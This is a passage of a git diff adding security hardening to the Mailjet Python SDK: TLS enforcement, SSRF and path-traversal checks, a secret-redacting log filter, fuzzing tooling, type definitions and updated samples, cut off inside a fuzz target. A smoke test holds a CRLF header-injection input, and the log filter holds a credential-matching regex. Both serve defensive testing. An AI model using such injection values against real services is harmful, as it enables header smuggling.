+ "domainstatistics": Route(None, "REST/domainstatistics"),
+ "campaignstatistics": Route(None, "REST/campaignstatistics"),
+ "statistics_linkClick": Route(None, "REST/statistics/link-click"),
+ "statistics_recipientEsp": Route(None, "REST/statistics/recipient-esp"),
+ "geostatistics": Route(None, "REST/geostatistics"),
+ "toplinkclicked": Route(None, "REST/toplinkclicked"),
+ # ==========================================
+ # Account, Senders & Domains
+ # ==========================================
+ "myprofile": Route(None, "REST/myprofile"),
+ "user": Route(None, "REST/user"),
+ "apikey": Route(None, "REST/apikey"),
+ "apikeyaccess": Route(None, "REST/apikeyaccess"),
+ "apikeytotals": Route(None, "REST/apikeytotals"),
+ "sender": Route(None, "REST/sender"),
+ "metasender": Route(None, "REST/metasender"),
+ "sender_validate": Route(None, "REST/sender/{id}/validate"),
+ "dns": Route(None, "REST/dns"),
+ "dns_check": Route(None, "REST/dns/{id}/check"),
+ # ==========================================
+ # Webhooks & Parse API
+ # ==========================================
+ "eventcallbackurl": Route(None, "REST/eventcallbackurl"),
+ "webhook": Route(None, "REST/webhook"),
+ "parseroute": Route(None, "REST/parseroute"),
+ # ==========================================
+ # Content API (v1) - Assets, Labels & Tokens
+ # ==========================================
+ "tokens": Route("v1", "REST/tokens"),
+ "labels": Route("v1", "REST/labels"),
+ "images": Route("v1", "REST/images"),
+ "data_images": Route("v1", "DATA/images"),
+}
+
+ROUTE_MAP: Final = MappingProxyType(_ROUTE_MAP)
diff --git a/mailjet_rest/types.py b/mailjet_rest/types.py
new file mode 100644
index 0000000..a3710e1
--- /dev/null
+++ b/mailjet_rest/types.py
@@ -0,0 +1,74 @@
+"""Type definitions and constants for the Mailjet SDK."""
+
+from __future__ import annotations
+
+import sys
+from types import MappingProxyType
+from typing import Any, Final, Literal, TypeAlias, TypedDict
+
+
+if sys.version_info >= (3, 11):
+ from typing import NotRequired
+else:
+ from typing_extensions import NotRequired
+
+
+# ==========================================
+# Types & Constants
+# ==========================================
+
+TimeoutType: TypeAlias = int | float | tuple[float, float] | None
+PayloadType: TypeAlias = dict[str, Any] | list[Any] | str | None
+HttpMethod: TypeAlias = Literal["GET", "POST", "PUT", "DELETE"]
+
+_DEFAULT_TIMEOUT: Final[int] = 60
+_JSON_HEADERS: Final = MappingProxyType({"Content-Type": "application/json"})
+_TEXT_HEADERS: Final = MappingProxyType({"Content-Type": "text/plain"})
+_ALLOWED_TRACE_FIELDS: Final[set[str]] = {"CustomID", "TemplateID"}
+
+
+class EmailAddress(TypedDict):
+ """Schema for Mailjet email addresses."""
+
+ Email: str
+ Name: NotRequired[str]
+
+
+class Attachment(TypedDict):
+ """Represents a file attachment in a message."""
+
+ ContentType: str
+ Filename: str
+ Base64Content: str
+
+
+class SendV31Message(TypedDict):
+ """Represents the complete structure of a single Mailjet v3.1 message."""
+
+ From: EmailAddress
+ To: list[EmailAddress]
+ Cc: NotRequired[list[EmailAddress]]
+ Bcc: NotRequired[list[EmailAddress]]
+ ReplyTo: NotRequired[EmailAddress]
+ Subject: str
+ TextPart: NotRequired[str]
+ HTMLPart: NotRequired[str]
+ TemplateID: NotRequired[int]
+ TemplateLanguage: NotRequired[bool]
+ Variables: NotRequired[dict[str, Any]]
+ CustomID: NotRequired[str]
+ EventPayload: NotRequired[str]
+ Headers: NotRequired[dict[str, str]]
+ Attachments: NotRequired[list[Attachment]]
+ # Tracking
+ TrackOpens: NotRequired[Literal["enabled", "disabled"]]
+ TrackClicks: NotRequired[Literal["enabled", "disabled"]]
+ SandboxMode: NotRequired[bool]
+
+
+class SendV31Payload(TypedDict):
+ """Root payload schema for Send API v3.1."""
+
+ Messages: list[SendV31Message]
+ SandboxMode: NotRequired[bool]
+ Globals: NotRequired[dict[str, Any]]
diff --git a/mailjet_rest/utils/guardrails.py b/mailjet_rest/utils/guardrails.py
index 40cd84b..7e5c280 100644
--- a/mailjet_rest/utils/guardrails.py
+++ b/mailjet_rest/utils/guardrails.py
@@ -1,17 +1,122 @@
"""Utility module providing security and routing guardrails for the Mailjet SDK."""
+import logging
import re
+import ssl
+import sys
import warnings
-from typing import Any
-from typing import Final
-from urllib.parse import urlparse
+from functools import lru_cache
+from pathlib import Path
+from typing import Any, ClassVar, Final
+from urllib.parse import quote, urlparse
+
+from requests.adapters import HTTPAdapter
+
+
+if sys.version_info >= (3, 12):
+ from typing import override
+else:
+ from typing_extensions import override
_CRLF_RE: Final = re.compile(r"[\r\n]")
+# Regex to catch Authorization headers and common API key patterns
+@lru_cache(maxsize=1)
+def _get_secret_pattern() -> re.Pattern[str]:
+ """Lazy-compile strict patterns to minimize cold-boot overhead.
+
+ ReDoS prevented by eliminating overlapping quantifiers (+)
+ and enforcing strict finite bounds ({1,5} and {1,200}).
+
+ Returns:
+ re.Pattern[str]: Compiled regular expression for secret pattern matching.
+ """
+ # Group 1: The key/header name (e.g., Authorization)
+ # Group 2: The separator and scheme (e.g., ': Bearer ')
+ # Group 3: The actual secret (matched but NOT included in the substitution)
+ return re.compile(
+ r"(?i)(Authorization|api[_-]key|api[_-]secret|token)([:\s=]{1,5}(?:(?:Bearer|Basic|Token)\s{1,5})?)([^\s'\"]{1,200})"
+ )
+
+
+class SecureHTTPAdapter(HTTPAdapter):
+ """Custom HTTP Adapter enforcing modern TLS versions (CWE-319)."""
+
+ def init_poolmanager(self, connections: int, maxsize: int, block: bool = False, **pool_kwargs: Any) -> None:
+ """Initialize the pool manager with enforced TLS 1.2+ configuration."""
+ context = ssl.create_default_context()
+ # Enforce TLS 1.2+ to prevent downgrade attacks (aligns with NIST SP 800-52)
+ context.minimum_version = ssl.TLSVersion.TLSv1_2
+ pool_kwargs["ssl_context"] = context
+ super().init_poolmanager(connections, maxsize, block, **pool_kwargs)
+
+
+class RedactingFilter(logging.Filter):
+ """Filter that intercepts and masks sensitive credentials in log records."""
+
+ @override
+ def filter(self, record: logging.LogRecord) -> bool:
+ """Filter sensitive patterns from log records.
+
+ Redact message content (e.g., logger.debug("Auth: %s", key))
+
+ Returns:
+ bool
+ """
+ if isinstance(record.msg, str):
+ record.msg = _get_secret_pattern().sub(r"\1\2********", record.msg)
+
+ if isinstance(record.args, tuple) and record.args:
+ new_args = []
+ for arg in record.args:
+ if isinstance(arg, str):
+ new_args.append(_get_secret_pattern().sub(r"\1\2********", arg))
+ else:
+ new_args.append(arg) # type: ignore[arg-type]
+ record.args = tuple(new_args)
+ elif isinstance(record.args, dict) and record.args:
+ new_dict_args = {}
+ for k, v in record.args.items():
+ if isinstance(v, str):
+ new_dict_args[k] = _get_secret_pattern().sub(r"\1\2********", v)
+ else:
+ new_dict_args[k] = v
+ record.args = new_dict_args
+
+ return True
+
+
class SecurityGuard:
- """Centralized OWASP API security guardrails."""
+ """Centralized security validation and sanitization (Defense in Depth)."""
+
+ _audit_hook_installed: ClassVar[bool] = False
+
+ @staticmethod
+ def _security_audit_listener(event: str, args: tuple[Any, ...]) -> None:
+ """Listener for audit events to provide system-level security logging.
+
+ This method intercepts native Python audit events. If the event is
+ specific to the Mailjet SDK, it logs the event for SIEM integration.
+
+ Args:
+ event (str): The name of the triggered audit event.
+ args (tuple[Any, ...]): The arguments associated with the audit event.
+ """
+ if event.startswith("mailjet."):
+ logging.getLogger(__name__).warning("SECURITY AUDIT [%s]: %s", event, args)
+
+ @classmethod
+ def enable_audit_logging(cls) -> None:
+ """Optional registration of the runtime security audit hook (PEP 578).
+
+ Securely registers the audit listener at the interpreter level.
+ Uses a class-level flag to ensure the hook is registered only once.
+ """
+ if not cls._audit_hook_installed and hasattr(sys, "addaudithook"):
+ sys.addaudithook(cls._security_audit_listener)
+ cls._audit_hook_installed = True
@staticmethod
def validate_attribute_access(class_name: str, name: str) -> None:
@@ -33,7 +138,7 @@ def validate_attribute_access(class_name: str, name: str) -> None:
@staticmethod
def sanitize_log_trace(val: Any) -> str:
- """Sanitize log values to prevent Log Forging (CWE-117).
+ """Strictly sanitize log values to prevent Log Forging (CWE-117).
Args:
val (Any): The input value to sanitize.
@@ -41,7 +146,14 @@ def sanitize_log_trace(val: Any) -> str:
Returns:
str: The sanitized string value.
"""
- return str(val).replace("\n", "_").replace("\r", "_")
+ # CAST TO STRING FIRST to prevent TypeError on ints/floats
+ val_str = str(val)
+
+ # Fail-fast on insanely large strings (CWE-400 Resource Exhaustion)
+ if len(val_str) > 1000:
+ val_str = val_str[:1000] + "... [TRUNCATED]"
+
+ return _CRLF_RE.sub("", val_str)
@staticmethod
def check_request_security(kwargs: dict[str, Any]) -> None:
@@ -50,9 +162,10 @@ def check_request_security(kwargs: dict[str, Any]) -> None:
Args:
kwargs (dict[str, Any]): The dictionary of keyword arguments for the request.
"""
- if kwargs.get("verify") is False:
- msg = "Security Warning: Disabling TLS verification exposes the client to MitM attacks."
- warnings.warn(msg, UserWarning, stacklevel=4)
+ if not kwargs.get("verify", True):
+ # Fail-closed: Explicitly crash on insecure requests
+ msg = "Security Violation: Mailjet API TLS verification cannot be disabled in production. Set verify=True."
+ raise ValueError(msg)
proxies = kwargs.get("proxies")
if proxies and any(str(p).startswith("http://") for p in proxies.values()):
@@ -71,18 +184,26 @@ def validate_config_url(api_url: str, allowed_root_domain: str = "mailjet.com")
ValueError: If the scheme is not HTTPS or the hostname is missing.
"""
parsed = urlparse(api_url)
+
+ # 1. Enforce HTTPS (Transport Layer Security)
if parsed.scheme != "https":
- msg = f"Secure connection required: api_url scheme must be 'https', got '{parsed.scheme}'."
+ msg = f"Security Violation: api_url scheme must be 'HTTPS', got '{parsed.scheme}'."
raise ValueError(msg)
+
+ # 2. Enforce Hostname existence
if not parsed.hostname:
- err_msg = "Invalid api_url: missing hostname."
+ err_msg = "Security Violation: Missing hostname in API URL."
raise ValueError(err_msg)
+ # 3. Fail-Closed Domain Validation (Prevent SSRF)
hostname = parsed.hostname.lower()
- # Explicitly verify exact match OR valid subdomain match to prevent CWE-20/CWE-918 bypass
+
+ # Strictly enforce root OR subdomain match
if hostname != allowed_root_domain and not hostname.endswith(f".{allowed_root_domain}"):
- warn_msg = f"Security Warning: api_url points to a non-Mailjet domain ({parsed.hostname})."
- warnings.warn(warn_msg, UserWarning, stacklevel=3)
+ # This protects against SSRF attempts where an attacker tries to
+ # point the client to an internal or malicious domain.
+ msg = f"Security Violation: '{parsed.hostname}' is not a trusted Mailjet domain."
+ raise ValueError(msg)
@staticmethod
def validate_dx_routing(version: str, name_lower: str, resource_lower: str) -> None:
@@ -116,5 +237,62 @@ def validate_crlf_headers(custom_headers: dict[str, str]) -> None:
"""
for key, value in custom_headers.items():
if _CRLF_RE.search(str(value)):
- err_msg = f"CRLF Injection detected in header '{key}'"
- raise ValueError(err_msg)
+ msg = f"Security Violation: CRLF Injection detected in header '{key}'."
+ raise ValueError(msg)
+
+ @staticmethod
+ def validate_attachment_path(file_path: str | Path, safe_base_dir: str | Path | None = None) -> Path:
+ """Prevent Path Traversal (CWE-22) and Symlink escapes.
+
+ Args:
+ file_path: The file path requested for attachment.
+ safe_base_dir: An optional absolute directory to jail the file read.
+
+ Returns:
+ Path: The resolved absolute path if validation passes.
+
+ Raises:
+ ValueError: If traversal or symlink violation is detected.
+ FileNotFoundError: If the file does not exist.
+ """
+ path = Path(file_path).resolve()
+
+ # Enforce Path Jailing if a safe boundary is defined
+ if safe_base_dir:
+ base = Path(safe_base_dir).resolve()
+ if not path.is_relative_to(base):
+ sys.audit("mailjet.security.path_traversal", str(path))
+ msg = f"Security Violation: Path Traversal detected. '{path}' is outside restricted directory '{base}'."
+ raise ValueError(msg)
+
+ if not path.is_file():
+ msg = f"Attachment not found or is not a regular file: {path}"
+ raise FileNotFoundError(msg)
+
+ return path
+
+ @staticmethod
+ def check_file_size(path: Path, max_size_bytes: int = 15 * 1024 * 1024) -> None:
+ """Prevent Resource Exhaustion (CWE-400). Mailjet limits payloads to 15MB."""
+ size = path.stat().st_size
+ if size > max_size_bytes:
+ msg = f"Security Violation: File '{path.name}' ({size} bytes) exceeds the safe threshold of {max_size_bytes} bytes."
+ raise ValueError(msg)
+
+ @staticmethod
+ def sanitize_segment(segment: Any) -> str:
+ """Poka-yoke: Safely encode path segments preventing CWE-22 (Path Traversal).
+
+ Args:
+ segment: Dynamic ID or action value crossing the trust boundary.
+
+ Returns:
+ str: URL-encoded path component string.
+ """
+ if segment is None:
+ return ""
+
+ clean_str = str(segment).replace("\r", "").replace("\n", "")
+ # quote() ignores dots. We explicitly encode them to prevent
+ # strict ".." traversal when injected into middle of URI templates.
+ return quote(clean_str, safe="").replace(".", "%2E")
diff --git a/manage.sh b/manage.sh
index b34a33d..35698a1 100755
--- a/manage.sh
+++ b/manage.sh
@@ -103,6 +103,67 @@ test_strict_warnings() {
pytest -W "error::DeprecationWarning" "$@"
}
+
+# ==============================================================================
+# SECURITY & FUZZING
+# ==============================================================================
+fuzz_all() {
+ # Usage: ./manage.sh fuzz_all [duration_in_seconds]
+ local duration=${1:-30}
+ local fuzzer_dir="tests/fuzz"
+ local dictionary="tests/fuzz/fuzzer.dict"
+ local corpus_dir="tests/fuzz/corpus"
+
+ if [ ! -d "$fuzzer_dir" ]; then
+ error "Fuzzer directory '$fuzzer_dir' not found."
+ return 1
+ fi
+
+ # Ensure the dictionary exists before passing the argument
+ local dict_arg=""
+ if [ -f "$dictionary" ]; then
+ dict_arg="-dict=$dictionary"
+ else
+ echo "⚠️ Warning: Dictionary '$dictionary' not found. Running without it."
+ fi
+
+ info "🚀 Starting security fuzzing suite (duration: ${duration} seconds per fuzzer)..."
+
+ # Safely gather fuzzer files to prevent errors if none exist
+ shopt -s nullglob
+ local fuzzers=("$fuzzer_dir"/fuzz_*.py)
+ shopt -u nullglob
+
+ if [ ${#fuzzers[@]} -eq 0 ]; then
+ error "No fuzzer scripts found in '$fuzzer_dir'."
+ return 1
+ fi
+
+ for fuzzer in "${fuzzers[@]}"; do
+ local fuzzer_name=$(basename "$fuzzer" .py)
+ local fuzzer_corpus="$corpus_dir/$fuzzer_name"
+ mkdir -p "$fuzzer_corpus"
+
+ info "🔍 Running fuzzer: $fuzzer (Corpus: $fuzzer_corpus)"
+
+ conda run --name "${CONDA_ENV_NAME}" python "$fuzzer" \
+ $dict_arg \
+ -max_len=512 \
+ -max_total_time="$duration" \
+ "$fuzzer_corpus"
+
+ local exit_code=$?
+ # libFuzzer returns 1 for crash, 70 for OOM, 77 for timeout.
+ # Catching any non-zero exit ensures we don't miss Python tracebacks.
+ if [ $exit_code -ne 0 ]; then
+ error "❌ Fuzzing failed: Crash or error detected in $fuzzer (Exit Code: $exit_code)."
+ return $exit_code
+ fi
+ done
+
+ success "✅ All fuzz tests passed successfully."
+}
+
# ==============================================================================
# PERFORMANCE & BENCHMARKING
# ==============================================================================
@@ -208,6 +269,9 @@ help() {
echo " test_no_warnings - Run tests and hide all DeprecationWarnings"
echo " test_strict_warnings - Run tests and fail on any DeprecationWarning"
echo ""
+ echo -e "${YELLOW}Security & Fuzzing:${NC}"
+ echo " fuzz_all - Run all fuzz tests"
+ echo ""
echo -e "${YELLOW}Performance & Security:${NC}"
echo " perf_bench - Run pytest-benchmark suite"
echo " perf_profile - Run cProfile on cold boot"
@@ -238,6 +302,37 @@ case "$COMMAND" in
env_setup|format|lint|test_all|test_unit|test_integration|test_cov|test_no_warnings|test_strict_warnings|perf_bench|perf_profile|audit_deps|run_hooks|build_pkg|release|clean|help)
"$COMMAND" "$@" # Execute the function with any remaining arguments
;;
+ fuzz_all)
+ # 1. Grab the duration, defaulting to 20 if not provided
+ DURATION=${1:-20}
+
+ # 2. Shift the duration out of the arguments list (if it was provided)
+ # This leaves ONLY the extra flags (like -max_len=16384) in "$@"
+ if [ $# -gt 0 ]; then shift; fi
+
+ info "🚀 Starting security fuzzing suite (duration: ${DURATION} seconds per fuzzer)..."
+ if [ $# -gt 0 ]; then
+ info "Applying extra LibFuzzer arguments: $@"
+ fi
+
+ # Find all fuzzers
+ FUZZERS=$(find tests/fuzz -maxdepth 1 -name "fuzz_*.py" -type f)
+
+ for fuzzer in $FUZZERS; do
+ fuzzer_name=$(basename "$fuzzer" .py)
+ corpus_dir="tests/fuzz/corpus/$fuzzer_name"
+
+ mkdir -p "$corpus_dir"
+
+ info "🔍 Running fuzzer: $fuzzer (Corpus: $corpus_dir)"
+
+ # 3. Append "$@" to the end to forward any extra arguments
+ python "$fuzzer" "$corpus_dir" -dict=tests/fuzz/fuzzer.dict -max_total_time="$DURATION" "$@"
+
+ echo ""
+ done
+ success "✅ All fuzz tests passed successfully."
+ ;;
*)
error "Unknown command: $COMMAND"
help
diff --git a/pyproject.toml b/pyproject.toml
index a171634..a4a9735 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -15,7 +15,7 @@ write_to_template = '__version__ = "{version}"'
py-modules = ["mailjet_rest._version"]
[tool.setuptools.packages.find]
-include = ["mailjet_rest", "mailjet_rest.*", "samples", "tests", "tests.*"]
+include = ["mailjet_rest", "mailjet_rest.*"]
[tool.setuptools.package-data]
mailjet_rest = ["py.typed", "*.pyi"]
@@ -38,7 +38,7 @@ requires-python = ">=3.10"
dependencies = [
"requests>=2.33.0",
- "typing-extensions>=4.7.1; python_version < '3.11'",
+ "typing-extensions>=4.7.1; python_version < '3.12'",
]
keywords = [
@@ -76,33 +76,37 @@ classifiers = [
[project.optional-dependencies]
linting = [
"bandit",
- "pre-commit",
- "ruff",
"mypy",
+ "pre-commit",
"pyright",
+ "python-dotenv>=1.2.2",
+ "ruff",
"types-requests",
"vulture",
- "python-dotenv>=1.2.2",
]
tests = [
- "pytest>=9.0.3",
- "pytest-cov",
- "pytest-xdist",
"coverage>=4.5.4",
+ "hypothesis",
"pyfakefs",
+ "pytest-cov",
+ "pytest-xdist",
+ "pytest>=9.0.3",
"responses",
]
+# llvm is required
+fuzzing = ["atheris"]
+
profilers = [
"scalene>=1.3.16",
"snakeviz",
]
build = [
+ "conda-build",
"python-build",
"twine",
- "conda-build",
]
spelling = ["typos"]
@@ -226,7 +230,8 @@ line-ending = "auto"
#"path/to/file.py" = ["E402"]
[tool.ruff.lint.isort]
-force-single-line = true
+force-single-line = false
+combine-as-imports = true
force-sort-within-sections = false
lines-after-imports = 2
@@ -293,6 +298,10 @@ show_column_numbers = false
show_error_codes = true
disable_error_code = 'misc'
+[[tool.mypy.overrides]]
+module = ["tests.*"]
+disallow_untyped_decorators = false # pytest fixtures are dynamically typed
+
[tool.pyright]
include = ["mailjet_rest"]
exclude = ["samples/*", "**/__pycache__"]
@@ -304,7 +313,6 @@ reportMissingImports = false
# usage: bandit -c pyproject.toml -r .
exclude_dirs = ["tests"]
tests = ["B201", "B301"]
-skips = ["B101", "B601"]
[tool.bandit.any_other_function_with_shell_equals_true]
no_shell = [
@@ -329,14 +337,25 @@ branch = true
parallel = true
omit = [
"samples/*",
+ "tests/*",
]
[tool.coverage.paths]
tests = ["tests"]
[tool.coverage.report]
+fail_under = 80
+show_missing = true
exclude_lines = [
"no cov",
+ "pragma: no cover",
"if __name__ == .__main__.:",
"if TYPE_CHECKING:",
]
+
+[tool.pytest.ini_options]
+# Register custom marks to avoid warnings
+markers = [
+ "network: marks tests as integration tests that require live network access",
+ "property_heavy: Heavy Hypothesis property-based tests skipped on CI",
+]
diff --git a/samples/getting_started_sample.py b/samples/getting_started_sample.py
index e13b555..45b776d 100644
--- a/samples/getting_started_sample.py
+++ b/samples/getting_started_sample.py
@@ -1,8 +1,12 @@
import json
import logging
import os
+import tempfile
+from pathlib import Path
-from mailjet_rest.client import ApiError, Client, CriticalApiError, TimeoutError
+from mailjet_rest.builders import MessageBuilder, TemplateContentBuilder
+from mailjet_rest import Client, ApiError, CriticalApiError, TimeoutError, DoesNotExistError
+from mailjet_rest.types import SendV31Payload, SendV31Message
# Optional: Enable built-in SDK logging to see request/response details
logging.getLogger("mailjet_rest.client").setLevel(logging.DEBUG)
@@ -21,28 +25,56 @@
os.environ.get("MJ_APIKEY_PRIVATE", ""),
),
version="v3.1",
+ # Don't send real messages in samples
+ # dry_run=True,
)
def send_messages():
"""POST https://api.mailjet.com/v3.1/send"""
# fmt: off; pylint; noqa
- data = {
- "Messages": [
- {
- "From": {"Email": "pilot@mailjet.com", "Name": "Mailjet Pilot"},
- "To": [{"Email": "passenger1@mailjet.com", "Name": "passenger 1"}],
- "Subject": "Your email flight plan!",
- "TextPart": "Dear passenger 1, welcome to Mailjet! May the delivery force be with you!",
- "HTMLPart": 'Dear passenger 1, welcome to Mailjet!
May the '
- "delivery force be with you!",
- },
- ],
+ message: SendV31Message = {
+ "From": {"Email": "pilot@mailjet.com", "Name": "Mailjet Pilot"},
+ "To": [{"Email": "passenger1@mailjet.com", "Name": "passenger 1"}],
+ "Subject": "Your email flight plan!",
+ "TextPart": "Dear passenger 1, welcome to Mailjet! May the delivery force be with you!",
+ "HTMLPart": 'Dear passenger 1, welcome to Mailjet!
May the delivery force be with you!
',
+ }
+ payload: SendV31Payload = {
+ "Messages": [message],
"SandboxMode": True, # Remove to send real message.
}
# fmt: on; pylint; noqa
- return mailjet31.send.create(data=data)
+ return mailjet31.send.create(data=payload)
+
+
+def send_messages_with_builder():
+ """POST https://api.mailjet.com/v3.1/send"""
+
+ with tempfile.TemporaryDirectory() as safe_dir:
+ test_file = Path(safe_dir) / "flight_manifest.txt"
+ test_file.write_text("Passenger: John Doe. Class: First. Status: Cleared.")
+
+ message = (
+ MessageBuilder()
+ .set_sender("pilot@mailjet.com", "Mailjet Pilot")
+ .add_recipient("passenger1@mailjet.com", "passenger 1")
+ .add_cc("copilot@mailjet.com", "Co-Pilot")
+ .set_reply_to("support@mailjet.com")
+ .set_subject("Your email flight plan!")
+ .set_content(
+ text="Dear passenger, welcome to Mailjet!",
+ html="",
+ )
+ .attach_file(test_file, safe_base_dir=safe_dir)
+ .build()
+ )
+
+ payload: SendV31Payload = {
+ "Messages": [message],
+ "SandboxMode": True,
+ }
+ return mailjet31.send.create(data=payload)
def retrieve_messages_from_campaign():
@@ -103,21 +135,63 @@ def create_segmentation_filter():
return mailjet30.contactfilter.create(data=data)
+def manage_contacts_bulk():
+ """
+ POST /REST/contactslist/{id}/managemanycontacts
+ Demonstrates O(1) route resolution with URI template interpolation.
+ """
+ data = {"Action": "addnoforce", "Contacts": [{"Email": "passenger1@mailjet.com"}]}
+ # The SDK automatically interpolates '123' into the registry path
+ return mailjet30.contactslist_managemanycontacts.create(id=123, data=data)
+
+
+# Example 2: Content API Template Management
+def update_template_content():
+ """
+ POST /REST/templates/{id}/contents
+ Demonstrates the new TemplateContentBuilder with fail-fast validation.
+ """
+ builder = TemplateContentBuilder()
+ payload = (
+ builder.set_content(html="Welcome to the Flight!
")
+ .set_headers({"X-Custom-Header": "Flight-Update", "X-Priority": "1"})
+ .build()
+ )
+
+ try:
+ # Resolves to v1/REST/templates/999/contents
+ return mailjet30.templates_contents.create(id=999, data=payload)
+ except DoesNotExistError:
+ print("⚠️ Resource 999 not found. Please verify the Template ID exists.")
+ return None
+
+
if __name__ == "__main__":
try:
+ print("Running Template Content Update...")
+ res = update_template_content()
+ print(f"Status Code: {res.status_code}")
+
# We use send_messages() here as a safe, SandboxMode-enabled test
result = send_messages()
- print(f"Status Code: {result.status_code}")
+ print(f"1. Status Code: {result.status_code}")
try:
print(json.dumps(result.json(), indent=4))
- except ValueError: # Covers JSONDecodeError safely across Python versions
+ except ValueError:
print(result.text)
- # Demonstrate the new network exception handling
+ result_with_builder = send_messages_with_builder()
+ print(f"2. Status Code: {result_with_builder.status_code}")
+
+ try:
+ print(json.dumps(result_with_builder.json(), indent=4))
+ except ValueError:
+ print(result_with_builder.text)
+
except TimeoutError:
- print("The request to the Mailjet API timed out.")
+ print("The request timed out. Please check your network or increase the timeout.")
except CriticalApiError as e:
- print(f"Network connection failed: {e}")
+ print(f"Failed to connect to the Mailjet API: {e}")
except ApiError as e:
print(f"An unexpected Mailjet API error occurred: {e}")
diff --git a/samples/smoke_readme_runner.py b/samples/smoke_readme_runner.py
index 02e9ac7..fd41e22 100644
--- a/samples/smoke_readme_runner.py
+++ b/samples/smoke_readme_runner.py
@@ -11,7 +11,7 @@
import warnings
import time
-from mailjet_rest import Client
+from mailjet_rest import Client, MailjetAuthError
# Enable logging to see the Smart Telemetry and Guardrails in action!
@@ -38,12 +38,12 @@ def safe_cleanup(action, name, **kwargs):
if res.status_code in (200, 204):
print(f"✅ CLEANUP: {name} deleted successfully.")
- elif res.status_code == 401:
- print(f"⚠️ CLEANUP: {name} skipped (Permission denied: Operation not allowed).")
elif res.status_code == 404:
print(f"⚠️ CLEANUP: {name} skipped (Not found: likely eventual consistency delay).")
else:
print(f"❌ CLEANUP: {name} failed with status {res.status_code}.")
+ except MailjetAuthError:
+ print(f"⚠️ CLEANUP: {name} skipped (Permission denied: Operation not allowed).")
except Exception as e:
print(f"❌ CLEANUP: {name} raised unexpected exception: {e}")
@@ -89,19 +89,20 @@ def run_readme_tests():
# ---------------------------------------------------------------------
section("Security Guardrails (Active Protection)")
- # CRLF Injection blocking
+ # 1. Test CRLF Injection
try:
- mailjet_v3.contact.get(headers={"X-Injected": "Value\r\nAttack: Payload"})
- print("❌ Security Failure: CRLF Injection was not blocked!")
+ mailjet_v3.contact.get(headers={"X-Injected": "value\r\nBadHeader: true"})
+ assert False, "SDK failed to block CRLF injection."
except ValueError as e:
print(f"✅ Guardrail Success: Blocked Header Injection - '{e}'")
- # Insecure TLS Warning
- with warnings.catch_warnings(record=True) as w:
- warnings.simplefilter("always")
+ # 2. Test TLS Bypass (MITM Prevention)
+ try:
+ # We explicitly test that the SDK refuses insecure connections
mailjet_v3.contact.get(verify=False)
- if any("verify=False" in str(msg.message) for msg in w):
- print("✅ Guardrail Success: Insecure TLS Warning emitted.")
+ assert False, "SDK allowed insecure TLS connection."
+ except ValueError as e:
+ print(f"✅ Guardrail Success: Blocked Insecure TLS - '{e}'")
# ---------------------------------------------------------------------
# 3. STANDARD REST ACTIONS (Contact Lifecycle)
@@ -217,22 +218,53 @@ def run_readme_tests():
print(f"⚠️ Content API Upload skipped/failed: {res.status_code}")
# ---------------------------------------------------------------------
- # 6. ADDITIONAL HEALTH CHECKS (Read-Only)
+ # 6. ADDITIONAL HEALTH CHECKS (Read-Only & RPC-Actions)
# ---------------------------------------------------------------------
- section("Additional Health Checks (Read-Only)")
-
- endpoints_to_test = [
- ("Senders", mailjet_v3.sender),
- ("Campaigns", mailjet_v3.campaign),
- ("Messages", mailjet_v3.message),
- ("Legacy Templates", mailjet_v3.template),
- ("v1 Templates", mailjet_v1.templates),
+ section("Additional Health Checks (Read-Only & RPC-Actions)")
+
+ # Strategy: 'stream' for list/GET-collections, 'ping' for POST/RPC-actions
+ health_checks = [
+ ("Send", mailjet_v3.send, "ping"),
+ ("Contacts", mailjet_v3.contact, "stream"),
+ ("Webhooks", mailjet_v3.webhook, "ping"),
+ ("Sender Validate", mailjet_v3.sender_validate, "ping"),
+ ("Tokens (v1)", mailjet_v1.tokens, "stream"),
+ ("Labels (v1)", mailjet_v1.labels, "stream"),
+ ("Template Contents", mailjet_v1.templates_contents, "stream"),
+ ("Senders", mailjet_v3.sender, "stream"),
+ ("Campaigns", mailjet_v3.campaign, "stream"),
+ ("Messages", mailjet_v3.message, "stream"),
+ ("Legacy Templates", mailjet_v3.template, "stream"),
]
- for name, endpoint in endpoints_to_test:
- res = endpoint.get(filters={"limit": 1})
- assert res.status_code == 200, f"Health Check failed for {name}"
- print(f"✅ {name} passed.")
+ for name, endpoint, strategy in health_checks:
+ try:
+ if strategy == "stream":
+ iterator = endpoint.stream(chunk_size=1)
+ item = next(iterator, None)
+
+ if item is not None:
+ print(f"✅ {name} (stream) passed (Found items).")
+ else:
+ print(f"⚠️ {name} (stream) passed (Resource exists but is empty).")
+ else:
+ # Verification for Action/RPC Resources
+ # Trying to GET an action endpoint usually results in 405,
+ # which confirms the route exists and is reachable.
+ res = endpoint.get()
+ if res.status_code in (200, 400, 405):
+ print(f"✅ {name} (ping) passed (Status: {res.status_code}).")
+ else:
+ assert False, f"Unexpected status {res.status_code}"
+
+ except Exception as e:
+ # API error handling: Check if it's a 405 Method Not Allowed
+ # This confirms the endpoint is reachable, just not via GET
+ if hasattr(e, "response") and getattr(e.response, "status_code", None) == 405:
+ print(f"✅ {name} (ping) passed (Expected 405 Method Not Allowed).")
+ else:
+ print(f"❌ {name} failed: {e}")
+ assert False, f"Health Check failed for {name}: {e}"
print(f"\n{'=' * 60}\n🎉 ALL TESTS AND HEALTH CHECKS COMPLETED SUCCESSFULLY!\n{'=' * 60}")
diff --git a/tests/fuzz/fuzz_builder.py b/tests/fuzz/fuzz_builder.py
new file mode 100644
index 0000000..5d3cded
--- /dev/null
+++ b/tests/fuzz/fuzz_builder.py
@@ -0,0 +1,113 @@
+"""Atheris fuzzing target for the Mailjet SDK Builders."""
+
+import atheris
+import sys
+from unittest.mock import patch, MagicMock
+
+
+with atheris.instrument_imports():
+ from mailjet_rest.builders import MessageBuilder, TemplateContentBuilder
+ from mailjet_rest.utils.guardrails import SecurityGuard
+ from mailjet_rest.errors import ValidationError
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 5:
+ return
+ fdp = atheris.FuzzedDataProvider(data)
+
+ # ==========================================
+ # BLOCK 1: Telemetry Sanitizer
+ # ==========================================
+ try:
+ test_trace = fdp.ConsumeUnicodeNoSurrogates(100)
+ SecurityGuard.sanitize_log_trace(test_trace)
+ except (ValueError, TypeError, ValidationError, AttributeError):
+ # Expected under fuzzed/random inputs; ignore to continue fuzzing.
+ pass
+
+ # ==========================================
+ # BLOCK 2: Message Builder
+ # ==========================================
+ try:
+ builder = MessageBuilder()
+ builder.set_sender(
+ email=fdp.ConsumeUnicodeNoSurrogates(20),
